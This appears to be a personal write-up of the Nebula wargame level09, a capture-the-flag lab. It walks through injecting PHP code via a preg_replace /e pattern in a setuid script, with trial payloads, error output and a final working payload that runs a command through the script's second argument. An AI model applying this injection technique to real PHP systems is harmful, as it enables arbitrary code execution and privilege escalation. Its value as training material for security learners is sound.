There’s a C setuid wrapper for some vulnerable PHP code…
", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
I’m no PHP expert – this one took me a long time. There are two functions that look dubious there – file_get_contents and preg_replace. Let’s see what it is meant to do.
It looks like it reads the file provided as the first argument ($filename) and does nothing with a second argument ($use_me). The file read in is expected to be in the format:
[email dobby@trashbat.co.ck]
and it returns a string like so:
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
dobby AT trashbat dot co dot ck>
You can use the command to get an arbitrary file that flag09 is permissioned for:
level09@nebula:/home/flag09$ ./flag09 /home/flag09/flag09.php use_me
But we need to execute something, not read something.
Look closely at one of the preg_replace lines:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
This looks like, for the 2nd matching term, run the spam function on it. The second term is substituted inside the spam() function, then executed. Maybe we can inject a command here.
I've recently done a couple of XSS tutorials/games, which have given me a fair bit of practice at command injection (in Javascript, though), and felt I was getting quite natural and good at it. However, this PHP one ended up being just a big case of trial and error.
I started trying to execute phpinfo() - it nearly always works and doesn't need any parameters passing to it.
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email phpinfo()]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
phpinfo()
Right - this just echos the command.
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email $phpinfo()]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
PHP Notice: Undefined variable: phpinfo in /home/flag09/flag09.php(15) : regexp code on line 1
()
Ok - it's now treating phpinfo as a variable, but that variable isn't defined.
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email ${phpinfo()}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
PHP Parse error: syntax error, unexpected '(' in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
spam("${phpinfo()}") in /home/flag09/flag09.php on line 15
Now we have passed an expression with invalid syntax...
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email {${phpinfo()}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
phpinfo()
PHP Version => 5.3.6-13ubuntu3.2
System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686
Yes! Ok - so this strange notation with curly braces works. I'm not quite sure why it needs to be like this, but now I have it, I can find examples of people using it.
Now we need to run getflag. PHP has system to do system calls.
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email {${system("getflag"()}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Fatal error: preg_replace(): Failed evaluating code:
spam("{${system(\"getflag\"()}}") in /home/flag09/flag09.php on line 15
Hmm. It is escaping the inverted commas so it doesn't work. In fact, it seems to escape anything helpful
Coming back to one of the examples above - we managed to get it to treat phpinfo as a variable. What happens if we try to use the unused parameter, use_me?
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email $use_me]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt second_parameter
second_parameter
Right - so we can use that to pass in a string. Let's combine the two.
level09@nebula:/home/flag09$ cat /tmp/input.txt
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
Excellent! I got there in the end. It felt a little painful. If the second parameter hadon't been called use_me, and this wasn't an exploit wargame, I would have given up. Not happy with this level.